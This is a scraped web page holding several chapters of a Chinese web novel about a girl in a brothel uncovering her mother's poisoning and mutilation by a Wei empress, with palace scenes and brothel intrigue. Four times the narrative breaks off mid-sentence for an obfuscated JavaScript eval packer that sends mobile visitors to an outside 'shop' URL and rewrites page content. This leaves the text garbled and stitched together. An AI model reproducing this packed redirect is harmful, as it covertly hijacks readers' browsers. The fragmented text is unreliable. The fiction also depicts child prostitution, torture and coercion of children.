d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478621|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代表能拒绝所有有权势的人。给朝云赎身的人是北地魏国的官员,他是要把朝云献给魏帝皇甫润。从此,朝云便改了姓名换了身份,成为皇甫润的云妃。” 天意弄人。 姜晗感叹,母亲不愿意和高门大户牵扯,谁想却是进了宫。 转而想到一件奇怪的事,姜晗皱眉,“北地没有女人吗?魏国的官员要献美,何必千里迢迢来晟国?我娘到底是青楼女子,将一个青楼女子献给魏国皇帝,这不太合适吧。” “北地尚武,文风不及南晟。魏国后宫的女人精通文艺的不多,但皇族尤尚南朝文化。魏帝皇甫润善画,水准不逊我朝的三大家。代王皇甫瀚亦好诗文。辽王皇甫清都精通音律书法,和半月僧并称南北乐圣,和棠负舟同列当代书四家。” 姜晗有些疑惑,“书画音律不应该是文人的专长吗?怎么先天高手也来凑艺术的热闹?该不会是世人慕其权势武力,拍马屁吹的吧。” 本来沉静在悲伤中的花迎使没料到她会说过这个,一时反应不过来。 “这好像不是重点。” 姜晗有些不好意思,“抱歉。” 心里却想:“不是重点,那你干嘛还说?搞得像背景介绍一样。” 花迎使不知姜晗所想,只觉得这孩子的提问看似偏题,却也证明了她一字一句都在思索听到的话。 耐心道:“文艺雅道的确是文人的专长,但谁告诉你习武之人一定都是五大三粗的?越是高手,越是重视心境的修行。比起逞勇斗狠,感悟自然才是上乘的心境修行方式。” 觉得姜晗的思想有些不对,花迎使教诲,“实话告诉你,五大先天都有自己的专长爱好。棠负舟不但精通书法,还擅长金石学,更是收藏大家。半月僧不仅是乐圣,还做的一手好素斋。曹雨臣的雕刻技艺冠绝天下,墨回天最爱稼穑之道和莳花弄草,别以为他们都是武夫。” 姜晗连连点头,“明白了明白了,您还是继续说我娘的事吧。” 花迎使便道:“你娘入魏宫,是因为一幅画。我朝的绘画三大家中有一对夫妇,男名曲道兴,女名陆之微,都是吴州人。陆之微尤擅花鸟、仕女,和你娘交情匪浅,她曾画了一副《天香仙云图》。画中仙女手持焦骨牡丹。仙女的原型,就是你娘,而牡丹,就是你娘最喜欢的花。这幅画,陆之微送给了朝云。” “接下来不会是魏帝得到了这张画,让人寻访画中美人吧?” 得到花迎使肯定的回答,姜晗又有了新的问题,“画既然在我娘那儿,怎么会到魏国皇帝手里?” “这就又要说到陆之微了。陆之微的弟弟是个纨绔,更是个赌徒,把本来富庶的家业败了个精光还不知足,时常问陆之微要钱。陆之微不给,他便偷自己姐姐姐夫的书画换银子。” 花迎使冷笑了一声,“事发后,陆之微再不许他上门。后来他知道《天香仙云图》在你娘那儿,便起了歹心,买通了青楼的龟奴,里应外合把画偷了出来。几经转手,画就到了皇甫润的手里。皇甫润便让人找与画中人相似的女子。” 18. 身份 姜晗听后,亦发出一声冷笑,落下了两行清泪,“我娘后半生悲剧的开端,竟然只是因为一个赌徒缺银子。” “你娘被赎身后,换了身份,成了魏国名门云家之女。她以云家女的名义入了宫。皇甫润喜好风雅,而朝云多才多艺,因此颇为得宠,不过半年,便封了妃。” “我娘在魏国没有根基,骤然得宠,若无城府手腕,必是木秀于林,风必摧之。” 花迎是叹了口气,“你说的很对,魏国的后宫,岂是好混的?朝云虽然得宠,但对皇甫润而言,就是个特别一点的美人罢了。皇甫润真正最为看重的,是他的皇后郁久闾氏。” “郁久闾氏?这个姓氏,莫非魏国皇后是胡人?” 花迎使摇头,“倒不是纯粹的胡人,但的确有胡族的血统,这在北地并不稀奇。郁久闾氏出身高门,性情残毒。四年前,她陷害皇甫清都的原配王妃贺兰氏以巫蛊术谋害皇帝,更严刑逼供贺兰氏,逼其指认辽王参与巫蛊案且意图谋反。贺兰氏不从,被活活打死在了狱中。” 姜晗不由唏嘘。 “皇甫清都是先天高手,又坐镇魏国西北边关,立下过赫赫战功。即便如此,也保护不了自己的发妻。你看,这就是皇权,无影无形,却连绝世高手也无法抵挡。这件事情,天下皆知,却无人敢过问。” 花迎使喝了一口水,继续诉说往事。 “朝云十二年前入魏宫,当时并没有发生贺兰王妃被害之事。可是你应该从这件事情里看出来了,郁久闾氏的手段何其毒辣。朝云再如何聪慧,良善耿直的她岂是郁久闾氏这毒妇的对手?果然,进宫不到两年,便有了云妃去世的消息。” “可我娘没死。她……”泪水打湿了掌心的平安扣,“她被割了舌头,被丢进了蜜水村,被一群畜牲糟蹋。” “她是没死,但我却以为她死了。”花迎使眼眶微红,“三个月前,门派派我来北鞍郡任分舵主。我却意外地在钉棚救下了当初伺候朝云的丫鬟若绣。若非如此,我依然一无所知。就因为我的自以为是,朝云才遭受了多年的折磨。杀人不过头点地,可郁久闾氏竟然如此对待一个弱女子。她恶毒,而我,愚蠢。” “花迎使难道没想过查验我娘的尸体?或者去祭奠一下?” 看了姜晗一眼,花迎使道:“你很谨慎,我当然想过。甚至你娘活着的时候,我也尝试和她联系。魏国宫禁森严,后宫又遍布郁久闾氏的眼线,朝云很难向外传递消息。花间门根基在南晟,但北地也有据点。只要有前往魏国的任务,我都会争取,想要偷入魏宫见她一面。” “这一定不是件简单的事。” 花迎使道:“你说得很对。我一直找不到机会,终于有一次,我运气不错,混进宫中,见到了你母亲。她当时身体很好,气色也很好,还和我说皇帝待她不错,皇后虽然霸道,却也没太难为她。话是如此,我并不放心,异想天开地说要带朝云逃跑。朝云说我犯傻,让我快些离开。” “娘也是为了你好。若被人发现,只怕你们二人都难逃一死。” “你说得不错。可若我知道后来的事,就不会听她的,真打晕了她直接带走,或许,一切都会不一样。” 花迎使语带悔恨,“我才至魏晟边境,就得到了朝云染病过世的消息。走时她还好好的,怎么就一下子染病了?我又回头,快到魏京时,才知云妃已经被葬入皇陵。我想把她带走,可皇陵机关重重,根本进不去。” “花迎使没有怀疑过我娘的死?” “没有。”花迎使承认,“我当时只觉得,朝云定然是死于郁久闾氏的毒手。对她身亡这件事本身,我并没有怀疑。没想到,我还是小看了人心险恶。” 屋内陷入了沉寂。 过了会儿,姜晗道:“花迎使屡次进魏宫都无功而返,偏偏最后一次,就成功见到我娘了?只是运气的话,有些难以置信。” 花迎使心中感慨这孩子着实谨慎,可这么谨慎又是怎么落入渣子行手中的?改日得再去审审那老乌头。 “那次入魏宫,事后想来,的确过于顺畅。我怀疑有人暗中帮我,但这只是猜想。你若是打破砂锅问到底,我也说不出个子丑寅卯。” 姜晗想:“数次入魏宫,花迎使定然引起了魏人警觉。如果魏国宫廷连这点本事都没有,早就变成菜市场了。最后能见上面,十有八九是故意放水。可是目的是什么?以此为由问罪母亲,再借机让她‘病逝’?还是其他原因?” 转念又想,现在想这些有什么用呢?就凭自己能接触到的信息,想破脑袋也想不出所以然。 唯一可以确定的是,如果这个人存在,那他定然是非常熟悉魏国内宫,且在内宫极有权势之人。 “你在想什么?”花迎使问。 姜晗回神,“我在想,您刚刚说救下了我母亲的丫鬟若绣?” 花迎使点头:“若绣是从小一直伺候朝云的,和我自小也认识。朝云去魏国,也带上了她。朝云死后,魏宫放出消息,所有伺候朝云的宫女皆已陪葬。然而这只是对外的讲法,其他宫女的确已死,若绣并没有。” “是郁久闾氏把若绣卖去钉棚?她堂堂一国皇后,为何要如此折磨一个丫鬟?”姜晗不解。 “若绣是你娘在魏国唯一可以信任的人,和你娘的感情更如姐妹。郁久闾氏折磨她,就可以让你娘痛苦。朝云善南曲,她便让人把割了朝云的舌头。朝云玉貌仙姿,她就要让仙云图中的仙子成为人人都能欺凌的脚下泥。” 花迎使捏碎了茶杯,“朝云和若绣被带到了晟魏边境。若绣知道朝云被卖去了山村,却不知是什么村子。我想,若绣是被卖到兴州的钉棚,那朝云可能也在兴州或附近。“ 擦着桌子上的水,花迎使说:“我便着重查访兴州的偏僻山村。蜜水村我去过,但是那里成了一片废墟,我没查出什么。不过,查访的时候,我在蜜水村东五十里的山脚,看到了两块简陋的墓碑。” 姜晗整个人都怔怔的。 “先妣露朝云墓,女姜晗立。先姊露萦碧母,妹姜晗立。这个姜晗,就是你吧。” 良久,姜晗点了点头,“是我。” “对不起。”花迎使歉然。 “我挖开了你母亲的墓,看见了她的尸体。我请了阴字门的朋友帮忙验尸,尸体面目全非,他无法提供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478622|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关于身份的线索。可是,他让我知道,那具尸体,生前受了怎样的苦。” 花迎使多年不曾流泪,但今天,似是要将不曾流的泪通通流尽头。 “我冥冥有种感觉,尸体就是朝云的。我想,必须找到立墓碑的人。可是,我因为寻找朝云花了太多时间,耽误了任务,只好先搁置此事。巧合的是,路过当铺的时候,发现了这枚平安扣,得知了你的下落。” 花迎使抚上姜晗的脸,“见到你的第一眼,我就知道,你一定是朝云的女儿。你和你母亲长得像,可是给人的感觉很不一样。朝云貌若清荷寒梅,实际是外冷内热的冰灯,照亮了别人,融化了自己。你有一张春雨秋雾的脸,实际是外柔内冷的月亮,用温和的月华引人伸手,却是遥不可及,触手生冰。” 姜晗实在受不了了,忍不住道:“您能不能不要诗意得这么违和?我很早就想说了。” 指着自己的头,“我,八岁小屁孩,头发还被剃了大半,什么花月雾雨的意象,和我有关吗?” 花迎使哼了一声,“你果然是个小屁孩,对美的理解停留在表面,肤浅!本质比表象更重要。我说你外柔内冷不对吗?你不是装着弱小无助可怜的模样,打着杀了陈妈妈的主意吗?” 姜晗摸了摸鼻子,不想回答。 花迎使不再辩解审美的问题,“我有一件事很奇怪,你姐姐随母姓,你怎么会叫姜晗呢?” “姜晗是我自己取的名字。娘给我取的名字叫萦心。” “萦心?”花迎使目光颤抖,落下泪来,“露萦碧,露萦心,萦碧,萦心……” “您……怎么了?” 花迎使抹了抹眼泪,“没什么。露萦心这么好听的名字,你为什么不用呢?” “娘起的名字好是好,可露水虽清却易散,萦心之思渺茫不定。不若姜桂之性,老而弥坚,天光予晗,永吾长明。” “姜桂之性,老而弥坚,天光予晗,永吾长明。”花迎使喃喃重复,目露赞许,“好气性。” 她笑笑,“不过,我还是喜欢你娘给你取的名字。可惜占春芳人多眼杂,今日之后,不管私下还是公开场合,哪怕在占春芳外,我还是只会叫你怜侬,你也要自称怜侬。姜晗也好,露萦心也罢,都必须埋在心里。” “我明白。”姜晗道,“所以我的杀母仇人不止蜜水村的那群混账,还有魏国帝后这两个人渣。” “你难道就没想过,皇甫润也许是你的生父?” “不可能。”姜晗斩钉截铁,“若说我姐姐,或许有这个可能,但我比姐姐小两岁,再怎么样,我也不可能是皇甫润的女儿。虽然我很恨我的生父冯大,可事实是无法否认的。” “没了做公主的机会,你不失落吗?” “公主?公主的身份就能保证一生顺遂了?” 姜晗满脸不屑,“我就算是公主,也是做了雏妓的公主。我姐姐若是公主,就是个被卖给跛子做老婆又被折磨死的公主。身份的皮是可以随意扒去的。云裳不是公主,但也是官家之女,结果呢?母亲从名妓成了云妃,结果呢?身份本身没有意义,我是什么身份,什么身份才有意义。” 19. 曹雨臣 听得此话,花迎使愣了愣,哈哈笑道:“好一个我是什么身份,什么身份才有意义。你不怕我刚刚所说的,都是骗你的吗?” “我有想过。”姜晗淡淡道,“我没有证据能证明你说的是真的,更没有证据证明你说的是假的。可不管故事的真假,你把平安扣还给我是真的。即便你要利用我,即便你骗我,看在它的份上,我可以原谅你一次。” 花迎使站起身,走到门口,正要掀起竹帘,回过身,“小小年纪不要思虑太重。这几日你就在这儿好好休息,缺的课,我信你能很快补上。” 才掀起竹帘,姜晗又叫住了她,“花迎使,若绣在哪里?我能见见她吗?” “见当然要见,但不是现在。她生病了,被我安置在分舵。她的病有些麻烦,我在找药字门的高手给她治。现在就带你去的话不方便。准弟子不缺去分舵的机会,待若绣身体好转,我会让你们见面的。” 姜晗道:“还有一件事,你说是我娘的好友,但我还不知道你的名字。若你所言为真,便算我的恩人,恩人之名当记。若你所言为假,也是我需要原谅一次的人,我总得知道来日要原谅谁。” “玉碧心。” 花迎使从脖子上摘下了一个玉饰,也是一枚碧玉平安扣,上有碧心二字,“这是朝云当年给我刻的。” 玉碧心? 萦碧、萦心,原来如此。 离开之前,玉碧心最后对姜晗道:“你如要破碎虚空,如要为母报仇,就必须尽快摆脱乱七八糟的想法,我说的就是轻芳之事。若你沉溺于此,那雄心壮志永远是痴心妄想。” 落下的竹帘微微晃荡着。 姜晗沉思良久,慢慢拿起了一块糕点,咬了一小口。 没错,沉溺于情绪不会前进。 破碎虚空也好,报仇也好,不管哪一条路,将来会面临更多的内心拷问。 姜晗大口大口吞咽着糕点。 蜜水村的罪人,已经被母亲烧了个精光。 至于魏国帝后…… 姜晗拿起桌上的茶杯碎片,泄愤似的在桌上用力一划。 “嘶。”魏宫内,郁久闾皇后看着被针刺破的手指,不由恼怒地将绣花绷扔倒一旁。 “娘娘,您的手,快传太医。” “闭嘴。” “娘娘这几日,似有些心神不定?”皇后宫中的近侍官首领,大长秋胡内监道,“要不还是让太医瞧瞧吧。” “没病有什么好瞧的。”郁久闾皇后靠在引枕上,“豆娘嫁给皇甫清都已经有两年了吧。” “回娘娘,是两年了。” “两年……”郁久闾皇后深吸了一口气,忽然将引枕扔到了地上,“两年,对豆娘不闻不问,好一个辽王!本宫当年就不同意这桩婚事,都怪本宫那没脑子的好弟弟,原以为他长进了,结果非要推自己女儿进火坑。” 胡内监并一众宫人跪在地上。 “娘娘。”胡内监道,“归根结底,是辽王的罪过。” “本宫一忍再忍,他却得寸进尺。” 胡内监立刻道:“他这是怨恨娘娘,不,是怨恨陛下。” 郁久闾皇后勾起嘴角,“你说的不错。他如此怨恨陛下,谁知安的什么心思。本宫……” “安什么心思,奉劝娘娘都不要轻举妄动。”一道不紧不慢的人声传入皇后宫中。 “曹公公。” “奴婢见过皇后娘娘。”曹雨臣恭敬行礼。 “曹公公有何事指教?” “奴婢岂敢指教娘娘。只是听闻国舅爷昨日拜会了娘娘,奴婢就来了。” 不理会皇后冷淡的眼神,曹雨臣缓缓道:“娘娘疼爱国舅爷,疼爱侄女。辽王对王妃冷淡,您气愤是人之常情。但容奴婢提醒您一件事,四年前您能除去贺兰王妃,两年前您能逼辽王娶了自己的侄女,并不意味着您今日也能为所欲为。” “为所欲为?曹公公想差了。本宫只是想关心并问候一下自己的侄女,顺便也关心并问候一下辽王,有没有尽到为人臣为人夫的责任,这也叫为所欲为?” “问候恰当,自然无伤大雅。若不恰当,那就不妥了。” “怎么不妥?让辽王表忠心,这也是不妥?他四年前就不敢动,两年前也不敢反抗,如今,又能做什么呢?” 曹雨臣看了看周围的人。郁久闾皇后挥了挥手,胡内监便带着所有宫人退了出去。 “娘娘,你我明人不说暗话。四年前贺兰王妃之事您能下手,是因为陛下想让您下手。当年,辽王成功击退沮浑进犯,功勋卓著,陛下自然需要他明白一些事理,敲打一番。但您那一敲,直接敲了个窟窿不说,还坏了陛下的计划。何者得?何者失?” 昔年,魏国先帝令次子皇甫清都就藩西北,拱卫边疆。皇帝清都兄长皇甫润登基后,一直想收回弟弟在西北的兵权。而在皇甫清都击退沮浑大军后,这个念头便再也止不住了。郁久闾皇后便出了个主意,趁辽王夫妇进京恭贺万寿时,用一个粗糙的布娃娃,诬陷皇甫清都行巫蛊诅咒皇帝,意图谋反。 郁久闾皇后令人抓了贺兰王妃、辽王府典军秦举,严刑拷打,逼二人“招认”乃辽王主使。 不想二人都宁死不屈,贺兰王妃更是刚烈至极,道:“营营青蝇,白壁耻之。吾不畏死,何以惧之!”说完这话,即便楚毒备至,她终无一言,直到咽气。 其实郁久闾皇后并不想打死贺兰氏,只是想用酷刑撬开对方的嘴,谁知竟真的把人弄死了。 打死了一个亲王妃,“口供”还没拿到,竹篮打水一场空。魏国上下一片哗然,皇甫清都和贺兰家的人天天跪在宫门口喊冤。 无奈,皇甫润只得作罢,放了狱中半死不活的秦举。至于皇甫清都的兵权,自然没拿回来。就连皇甫清都的老丈人,在西北颇有影响力的贺兰雄,本来皇甫润想借机也架空这老家伙的,结果也落了空。 “得?失?本宫当然明白。”郁久闾皇后愤愤,“就因为本宫弄巧成拙,陛下才疏远本宫,宠爱一个如妃,故意气本宫。那如妃整日妖妖调调的,一看就不是正经人家的女儿。她不就是长得像云妃吗?这么多年,陛下还是放不下。别以为本宫不知道,云妃也不是清白人,什么云家女儿,就是一个南蛮妓女,也配和我争!” 一想到云妃,郁久闾皇后就气不打一处来。不过又想到对方已被自己毒死,这股子气稍稍平了些。 曹雨臣低着头,让人看不清他的表情。 半晌,他道:“陛下还是对娘娘有情的。他若真喜欢云妃,又怎会对她的死置之不理?云妃尚且已死,区区一个影子一样的如妃,又算什么呢?” “曹公公什么意思?” “没什么意思。奴婢只是想说,若非陛下对您有情,若非陛下当初竭力袒护,娘娘真的认为您会有现在的安稳?” “这不用你提醒。本宫也想补救,所以才让豆娘嫁给皇甫清都。你以为,本宫愿意牺牲自己的亲侄女吗?” 贺兰王妃死后的第二年,辽王续娶了贺兰王妃之妹。不想郁久闾皇后的弟弟郁久闾纥真横插一脚,求自己姐姐让女儿豆娘嫁给辽王。郁久闾皇后不同意,太子皇甫榆更不同意。不想郁久闾纥真就差跪死在宫门口了。无奈,皇后找皇甫润,请他下旨废黜继妃贺兰氏,让自己的侄女做辽王妃。 彼时,皇甫润心里憋屈得很,兵权没收回来,总要在其他地方找回场子。皇后的侄女倒是个不错的人选,嫁去辽王府,就是一颗在西北的钉子。皇权威压之下,辽王只得接了旨。 这样一来,皇甫清都与皇甫润,贺兰家与郁久闾家,裂缝越发深了。 曹雨臣道:“娘娘,恕奴婢直言,您弄死了辽王的发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478623|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻,又逼着他娶了自己的侄女,辽王心中岂会一点想法也没有?贺兰氏一族,难道也一点想法也没有?” “就因为他们有想法,所以才要教训。要让他们时时刻刻都记住,在魏国,谁才是掌握他们命运的人。” “这个道理,娘娘知道,陛下比娘娘更知道。”曹雨臣道,“可是陛下为什么没有教训他们?” 郁久闾皇后不说话了。 “娘娘,凡事得有个度。有些小事,无须咄咄逼人。否则闹到一发不可收拾的地步,因小失大,就不妙了。” 郁久闾皇后气笑了,“本宫也是为了陛下。” “那您就更不该轻举妄动。”曹雨臣的口气依然恭敬,“皇甫清都他永远都会在陛下的手掌心,娘娘不用为陛下过于担心。” “他镇守西北那么多年,又是先天高手,会甘心俯首称臣?” “不甘心也得甘心。”曹雨臣淡淡地说,“陛下,可以永远掌控他。” 郁久闾皇后疑惑,“为什么你如此言之凿凿?” “这个问题,娘娘可以去问陛下。” “就算你说的都对,可本宫的侄女受委屈,难道要本宫置若罔闻?” “国舅爷找您发几句牢骚,您就要大张旗鼓地干预?辽王夫妇两口子的事,您非要掺和,这不是逼得辽王更不喜王妃?娘娘,国舅爷是什么样的人,您比奴婢清楚。这两年,他找您抱怨得够多了。容奴婢放肆谏言,有的时候,不该管的少管。不然,早晚有一日,您会被他牵连。娘娘得陛下爱重,自然也当适、可、而、止。” “你……” 不等郁久闾皇后说完,曹雨臣又道:“奴婢为何来此,难道您还不明白?” “是……是陛下?” “有些话,陛下不说,是不想伤了和娘娘的情分。” 郁久闾皇后无言。 “言尽于此,奴婢告退。” 曹雨臣离开皇后的宫门后,老远还能听见乒乒乓乓的摔打声。 “干爹。”曹雨臣身后的小太监道,“皇后娘娘如此发怒,会不会对您不利?” “她喜欢发火也不是一天两天了。”曹雨臣冷冷道,“她要不是皇后……” 小太监心中一凛。作为曹雨臣最信任的干儿子,他自然明白自己干爹口中的未尽之言。 “干爹,还有一件事儿。”小太监上前一步来到曹雨臣身边,悄悄耳语。 曹雨臣冷笑,“这国舅爷胆子还真大。” “干爹,皇后娘娘素来宠爱她这弟弟,这也是很好的把柄。” “这难道只是皇后的把柄?”曹雨臣睨了一眼。 小太监拍了拍脑门,“儿子糊涂。” 曹雨臣冷声吩咐,“去告诉如妃,这里是皇宫,不三不四的习惯如果改不掉,就给我滚回温柔窟。” “是。” 走着走着,曹雨臣忽然问:“今天什么日子?” “回干爹,今天是四月二十三。” 曹雨臣停下了脚步,“四月……二十三?” 又是一年的四月二十三。 她竟已……离世十年了? 为了弥补刚刚言语的疏漏,小太监又说:“香烛纸钱,儿子都已经安排好了。” 曹雨臣抬头,只见高墙流云,鸱吻飞檐。他幽远的目光却仿佛穿透了层层屋脊,似是看到了一座已经萧瑟的宫殿。倏尔,那殿中响起比清铃更悦耳的声音,是南朝的曲调,缠绵悱恻,淅淅沥沥…… 一把伞遮住了他的视线。 “干爹,下雨了。” “雨?”后知后觉地望着不知何时飘洒的空濛细丝,滴滴答答,跳珠溅落,打散了耳边南朝的曲。 曹雨臣浅笑清淡,似也被连绵的潮湿沾染。 小太监亦步亦趋地跟在他身后,一同走进了雨中…… 20. 不善 陈妈妈从柜子里拿出一个带锁的匣子,打开,里面是一沓卖身契和乐籍文书。她从里头翻找出被选中三人的,恭恭敬敬交给了玉碧心。 “花迎使,这就是那三个丫头的卖身契和乐籍文书。” 玉碧心嗯了一声,接过后随手放在了桌上。 花间门弟子在身份上都是自由人。若将来准弟子通过考验成为正式弟子,花间门会给她们脱籍。入不了花间门,那么卖身契和乐籍文书交还老鸨处理。 陈妈妈弯腰给玉碧心添上茶水,“委屈花迎使这几日要在属下这儿歇息了。” 玉碧心乜了陈妈妈一眼,“怎么,你不欢迎我?” 陈妈妈手一抖,连忙轻轻拍打自己的嘴巴,“我这张臭嘴,真不会说话。瞧您说的,我哪敢这么想?只是觉得,您何必为了一个小丫头,把自己房间让出来呢?” “怜侬的资质不但是三个人中最好的,我敢断言,整个花间门,也没有比她更好的。她入门派定然是板上钉钉。到时候,被掌门以及各长老看重也是顺其自然的,将来的成就,远非我可比。你说,这样的一个人,我能不给她些优待吗?” 陈妈妈了然,“原来是这样。没想到,怜侬竟然还是个练武奇才。那我也得对她优待点儿,待她发达了,也能记着我的好不是?” “你是她的妈妈,如何待她是你的事。”玉碧心折好文书放进袖袋,“暗地里好点自然无妨,不过也别太显眼了。一碗水不想端平可以,但也不能太不平撒出水来,惹人议论。你到底是占春芳的管理人,她现在到底还是占春芳的雏妓,该守的规矩得守,该学的东西得学。不听话的时候,只要不打死不打残不发卖不接客,你想怎么罚都可以。” “属下明白的。您说的,本来就是属下该做的。打死打残发卖门派准弟子,这不是不想活了嘛。再说了,我这儿的姑娘十四岁才会接客,那时候,怜侬姑娘已经飞黄腾达了。” 若说成了准弟子还有什么好处,自然就是有根本安全的保障。不管如何,在青楼的考察期内,老鸨可以惩罚准弟子,但绝不可以用极端的手段进行处置。 “十四岁接客?”玉碧心嗤笑,“你别以为有些事情,我不知道。明面上,占春芳的姑娘十四岁前不能接客,实际上,不是没有破例的吧。” 陈妈妈尴尬笑笑,小声道:“属下……属下也是没办法。” “占春芳是教坊司的占春芳,也是花间门的占春芳。而不管是教坊司还是花间门,都不允许不满十四的姑娘接客。你胆子够大啊。” “花迎使,饶命啊。”陈妈妈跪在地上,“真不是属下要破坏规矩,实在是……那些贵人太难伺候了,若是有北地来的老爷,更不好惹。难免会碰上有特别癖好的,我想拒绝,真的没这个胆子。兴州是边境,不比建陵城的人守规矩。他们捏死我,比捏死蚂蚁还简单呐!花迎使,您饶我一回吧,求您了,求您了。” “笑话,花间门下辖的其他吟书班和堂子都能拒绝,就你拒绝不了?你不会背着门派,有别的打算吧?” 陈妈妈吓得连连叩头,“我不敢呐,是……是我无能,我无能,我无能……”不停扇着自己耳光,一边扇一边说自己无能。 玉碧心心道惺惺作态。 不耐烦地挥挥手,“你的难处我管不着,不过我提醒你一句,缺德事做多了,是会遭报应的。” “属……属下记住了。” “你真正要记住的是我给你划的红线,准弟子,决不允许有一丝意外。” 锐利的目光,让陈妈妈吓得瘫在地上爬不起来,“明……明白。” 姜晗在玉碧心的房中歇了三日。她本也没生病,全当放了个小长假。 离开前,下人告知她,属于她的房间已经准备好了。 挺好,可以住单人间了。 姜晗回原先的房间收拾东西,正值戌时,是自修的时间,同屋的姑娘们都在。 她一进门,正说笑的姑娘都止住了声音。 姜晗对陈妈妈分配来照顾自己的丫鬟道:“小环,东西都理好了?” “回姑娘,理好了。” “没少什么吧?” 这话一出,另外三个女孩有些不知所措。 小环摇了摇头,“没少。” “没多什么吧?” 小环愣了愣,随即又摇了摇头,“没有。” 姜晗继续道:“把所有东西都铺开,我自己查一遍。” 于是小环照做。 “怜侬。”其中一个姑娘开口,“你这是什么意思?是觉得我们会偷你东西吗?” “你怎么会这么想?我是为了证明我们大家的清白。毕竟一起住了一个多月,亲如姐妹,平时不怎么注意,难免有什么东西会混着用。从前没什么,我现在要搬出去,自然是该带走的得带走,该留下的得留下,省得以后说不清楚。若出了事,岂不会被人说咱们有人手脚不干净?” 细细看过每一件东西,见无异样,姜晗放下心。 她不好意思道:“是怜侬小人之心,对不住三位姐姐了。”说着,拿出三支绒花,放在一旁的梳妆台上,“这是我给姐姐们的赔礼,姐姐们千万别嫌弃,还请原谅怜侬才好。” 一个躺在床上的姑娘,翻身下床,抓起一枝绒花,见大家都看着自己,颇有些不好意思,清了清嗓子道:“都是好姐妹,我们怎么会怪你呢!你们说,对不对?”问向另外二人。 一人并不理会,但眼睛时不时瞟向绒花,另一人冷哼一声转过身去。这转过身的就是之前不满姜晗要检查包袱的。 “这些时日,感谢大家的照顾,怜侬就先走了。” 出了房门,姜晗并未去新住处,而是去了隔壁房间。 “彩漪,你在吗?” 正摘发饰的彩漪听到这柔柔糯糯的声音吓了一跳,望向门外,就见姜晗笑意甜甜地看着她,看得她心里发抖。 “彩漪,我就要搬了,有好些话,想和你说呢,你一定也有话和我说,我们聊一会儿吧。” 我才不想和你聊天。彩漪如此想着,道:“好呀,我这就来。” 一出房门,姜晗便将她拉倒僻静处,扔给她一本空白簿子。 “你……你这是做什么?” “不是我做什么,是你要做什么?” “怜侬,你这话什么意思?” “我要你做一双眼睛,一双耳朵。” “我……我听不明白。” “很简单,把你见到的、听到的,所有要紧的事都写下来。什么时候,什么地方,谁说了谁坏话,谁说了谁好话,谁要对谁做坏事等等,都记录下来。写完一页,就给我按上你的手印。每月三十,我都会让小环找你要记录,你只要把写过的那几页撕下来给她就行。” 彩漪急了,“我为什么要做这个?凭什么听你的?” “为什么?凭什么?”姜晗伸手要触碰彩漪的脸,彩漪后退了一步。 姜晗笑笑,“看,这就是你为什么要做,我凭什么要你做。就算你不记得了,你的脸不还是记得清清楚楚吗?” 听了这话,彩漪的脸上似乎有火辣辣的疼,仿佛那日的巴掌,又打到了她脸上。 “你不要胡来,我……我会告诉妈妈的。” “告诉妈妈?”姜晗笑得越发甜,“好呀,你现在就去,你如果怕太晚了打扰妈妈休息,我陪你一块儿去,给你壮胆如何?可是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478624|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈真的会帮你吗?她会为了你,发落被花迎使选中的我吗?” 彩漪的眼睛里蓄满了泪水。 “瞧瞧,多可怜呐,旁人见了,一定会觉得我在欺负你。也对,我就是在欺负你,就像三天前,你和轻纺一干人等要欺负我一样。不,还是有不一样的。你们一群人欺负我一个,然后轻芳就去了下处,而我一个人欺负你一个,你觉得,你会如何?” “当时不止我一个人,你为什么只欺负我,不去找她们算账。” “因为你和我是一伙的呀。” “什……什么意思?” “当初若非你的指证,妈妈怎么会相信我,轻芳又怎么会去下处呢?咱们是同谋,你能撇清自己吗?”姜晗一步步靠近,彩漪一步步后退。 “你有没有梦到轻芳,她是不是哭着对你说:‘彩漪,你害我。你为什么要害我?’有没有啊?” 彩漪蹲在地上哭了出来,“我……我不是故意的,我真的……我只是……” “你只是做了对自己最有利的选择而已,你当然不是故意的。”姜晗温和道,“所以,现在你也该做对自己有利的事情。好好观察记录,我会给你银钱的。” 彩漪停止哭泣,“真的?” 